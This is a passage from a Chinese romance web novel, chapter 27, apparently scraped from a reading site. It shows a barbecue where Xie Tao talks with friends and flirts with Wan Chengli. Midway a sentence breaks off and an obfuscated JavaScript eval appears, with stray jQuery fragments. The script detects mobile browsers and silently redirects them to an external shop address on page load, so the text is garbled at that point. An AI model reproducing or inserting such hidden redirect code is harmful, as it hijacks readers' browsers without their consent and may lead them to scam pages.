文趣网 > 其他小说 > 请你悄悄念一念我的名字 > 27. 第 27 章
    这些人里除了陆放,谢陶都第一次见,大多应该是万丞礼的大学同学。

    谢陶瞄了一圈发现自己暂时没什么可做的,万丞礼也没说话,好在陆放仍站在这没走,而陆家的事她刚好知道一些,就决定再跟他多聊两句。

    “陆放哥,什么时候回国的?”

    “上个月。你呢,听说你出去念书了?”

    “我也刚回来,”说话间陆放忽然朝湖水的方向招了招手,谢陶顺着看过去,发现有只边牧正在里面撒欢游泳,惊讶道,“这是你养的?”

    “它叫路易斯,跟我一块回来的。”

    谢陶恍然,“那之后应该就不会再走了?”

    “不走咯,外放这么多年,老爷子终于肯让我回去继承家业了。”陆放露出个无所谓的笑,看着似乎并没那么高兴。

    路易斯甩干水,奔回来把飞盘吐在陆放脚边,自己则端坐旁边吐舌头,葡萄粒似的眼睛看看谢陶又看看万丞礼,头歪来歪去,怪可爱。冷不丁被人一下盖住头顶,它于是果断收起舌头,脑袋紧跟屁股往谢陶的方向挪,惹得陆放笑骂,“这傻狗,记仇得很!”

    谢陶征得同意,伸手摸了两下湿漉漉的狗头,边牧眯着眼昂起头,模样十分享受。

    万丞礼问:“小雯自己在那边坐,要不要先过去?”

    谢陶蓦地意识到他们两个应该是有事要谈,忙点头答应,“好啊,那陆放哥我先走了,你们聊。”

    路易斯抬腿就要跟,却被人扼住了脖子。

    陆放眼底的笑意渐渐淡下去,转身坐回原来的位置,仰头看万丞礼,“恭喜恭喜,还真被你等到了。”

    万丞礼视线追了会谢陶的背影,收回时顺手拎了瓶未开封的矿泉水,拧开再拧紧,他手指一下一下敲着瓶身,询问道:“你那婚什么时候结?”

    “快了,下个月差不多了。”

    “这么急?”

    陆放嗤笑,“能不急吗?老头这些年走背运,投啥啥亏,出门走几步都能绊个跟头,公司资金链马上断了,我再不去联姻,陆家八成就得滚出云城了?”

    “或许我可以……”

    “别,”陆放知道他什么意思,想也不想就打断,“老头想用我的婚姻拯救他的事业,放别人家可能行,但陆家早烂根子了,他后找那小老婆带的俩废物儿子现在也都成年了,也不知怎么吹得枕边风,反正一毕业就混去了高层。丞礼,就这么个乌烟瘴气的地方,你还救它做什么?”

    万丞礼半晌没说话。

    陆放又说:“我之所以答应结这个婚,一个是姜媛愿意嫁,当然她有自己的考量,我这边呢,就当回报当年老头给的那笔启动资金了,没那笔钱,我在外面这么多年也不会那么顺利。”

    “接下来准备做什么?”

    陆放懒散地后倒过去,大喇喇躺靠住椅背,吸着柠檬茶,眼睛看着天,“还能做什么?卖公司的那笔钱,足够我挥霍两辈子,所以,躺平,退休养老。”

    万丞礼才不信,“你不是这种人。”

    陆放咧嘴一笑,“果然瞒不过你。”

    万丞礼抬眼看了看谢陶的方向,见她正和范雯说悄悄话,眼底蓄了些笑,“说说?”

    “瞅你那老房子着火的样吧,”陆放酸他,“老本行呗,继续做游戏开发,我也只会做这个。”

    “好,我入股。”

    陆放嘿笑,“本来也要拉你进来,还有晋阳,再过仨月就能彻底跟老东家分手了,”他指着不远处正烧炭的人说,“今天过来就是想跟他谈这事。”

    范雯支开张之潮,早就等着谢陶主动过来坦白,好在没坐多久就见她朝这边走,心里别提多满意。

    “说说吧?”她手腕撑着下巴,一脸的求知欲。

    谢陶搬了个折叠椅在她身边坐,先发制人反问她,“这其中难道没有你的功劳?”

    范雯惊得睁大眼睛,“哎”了声,凑过去小声问:“你怎么知道的?”

    “你做得那么明显,就差直说了,我又不是什么迟钝的人,稍微想一想不就知道了?”

    范雯表情神秘兮兮的,“我其实也不太确定,毕竟我没你那么聪明嘛,但我这个人你知道的,向来主张凡事宁可信其有,所以,不管你们有没有那个意向,只要被我发现苗头,我都要想方设法求证一下。你猜我怎么发现我小舅的?”

    “我不猜,你快说。”

    “我发了条只拍到你手腕的朋友圈,他给我点赞了!”

    谢陶不以为意,“就这?”

    “你要相信我的第六感,”范雯据理力争,“我朋友圈完全开放的,发的频率你也知道多高嘛,那是他唯一一次给我点赞!唯一哦,你懂这个含金量吗?而且别人点赞评论一定是因为你家谢发财,但他,我小舅,一定是因为你露出的那截手腕!”

    谢陶忍不住望了眼万丞礼的方向,他不知在跟陆放聊什么,神情轻松,眼里似乎还隐约带着笑,她看了一会,才轻声回范雯,“是吗?”

    “那当然了,”范雯手在谢陶眼前上下挥了挥,催她回神,“照片上有你的地方我故意拍得不明显,那么角落的地方哦,没人会第一眼就看见的,看见了更不会注意!再稍微结合一下以前的那些事,苗头不要太明显哦?”

    谢陶柔柔地笑起来。

    “怎么样?你们现在到哪步了?”

    在范雯这里,谢陶几乎没什么不能说的,“他说要追我,但我觉得没必要。”

    “怎么能没必要呢?你喜欢他时间应该不短了吧?得让他多追一段时间,补偿一下你自己啊傻宝!”

    谢陶如实说:“他说要追我的时候,我心里就已经点头了。”

    范雯啧啧啧,“出息哦?”

    谢陶却有自己的一套理论,“我们又不跟你十八九的年纪,哪有那么多时间浪费?工作都那么忙,留给彼此的时间是要用挤的,再去计较谁付出多少的细节,太不值当了。既然是早就想明白的事,何必再去为难他呢?”

    范雯哑然,又不由得好奇,“这个问题以前也问过你,就是我经常会刷到一些东欧那边的建模怪,从我们的审美看就是非常符合啊,所以……你在那边那么久,真就没遇到一个动心的?”

    谢陶想了想说:“一个是真的没什么时间,再一个,”她顿了顿,才说,“我在那边第一次被表白,对方属于约他要排队等号的那种,但我面对他的时候发现心里下意识是拒绝的……你懂吧?”

    范雯由衷

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17660092|205848||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    感叹,“小舅命真好。”

    “我也是。”

    范雯好笑地斜睨她一眼。

    “小张呢?”

    “被我打发去买东西了,要不怎么这么清净?”范雯哼哼着,问谢陶,“你觉得他怎么样?”

    谢陶“唔”了声,很客观,“看起来斯斯文文的,很难和你说的那些花样对上号。”

    “所以说人不可貌相啊,”范雯有些烦闷,“分也分不掉,其实很大原因是在我,的确是他总勾着我,但也确实是我把持不住,没招啊,活好,我太吃他那套了。”

    “要不你试着和他往长久发展一下呢?”

    “我有时候感觉他好可怕,”范雯闷闷道,“好像只要有表现出爱上他的意思,我就摆脱不掉他了,这辈子都得跟他锁在一起,稍微走一下神都能让他瞬间变态……”

    谢陶拍了拍她,“不怕,你还有你小舅呢,小张的所有资料他都有。”

    “……有时候感觉被监控也是个挺好的事,”范雯有些心虚,忍不住和谢陶透底,“就是因为知道有他兜着,我才敢去招惹那小变态的。”

    谢陶伸出食指去点范雯额头,“你啊你啊。”

    空气中渐渐飘起肉香,谢陶听见不远处有人喊了声,“第一批串儿烤好啦,想吃的快来——”

    起身之际,万丞礼拎着瓶水也慢悠悠走过来,范雯识趣地先走,跟陆放呛了两句嘴又连拉带拽嘻嘻哈哈一块跑远。

    万丞礼把瓶盖拧松递过去,“有点热,喝水降降温。”

    “还好,”谢陶喝完递给他,“你要不要?”

    万丞礼静了一瞬,看她嫣红的嘴唇,忽然就口干舌燥起来,“是有点渴。”

    口红沾了些在瓶口,万丞礼便就着那个地方,缓缓喝下两口,余光更没放过谢陶眼底一闪而过的慧黠。

    她故意的。

    万丞礼滚了滚喉咙,想亲她。

    张之潮按照吩咐买了好些卤味回来,雷达似的一眼就在人群里瞧见正和陆放勾肩搭背的范雯,他眼底黯淡片刻,又重新换上柔软。

    “陆放哥估计要倒霉了。”

    万丞礼一手拎水瓶一手牵谢陶,闻言说:“我提醒他一下。”

    吃完等下一批的间隙,范雯忽然满脸为难地来找谢陶,塞了把钥匙给她,低声快速道:“小陶小陶,帮我去车里拿下卫生巾!车就停在入口最边上的空地,很好找的!”

    谢陶原本在和几个小朋友玩扑克,听完赶紧把牌交到别人手里,小声说:“你去厕所,我等会到那找你。”

    端了一盘素菜回来的万丞礼见谢陶走得那么急,想了想,放下东西也跟了过去。

    远远瞧见谢陶正钻在谁的车里找东西,他先喊了声“小陶”,然后才走到跟前,“找什么……”

    谢陶正从手套箱里往外掏着什么,听见声音回过头,手也恰在那时摸到了要找的东西,然而拔出萝带出泥,拿到手一看,发现上面松松垮垮地缠了个黑色丝状物,某处勾着根纯皮的……鞭子?余光再扫,副驾座位上还掉了条渔网的。

    “……”

    “……”

    要不有句话是这么说的呢——你可以坐我的车,但你不能突然坐我的车。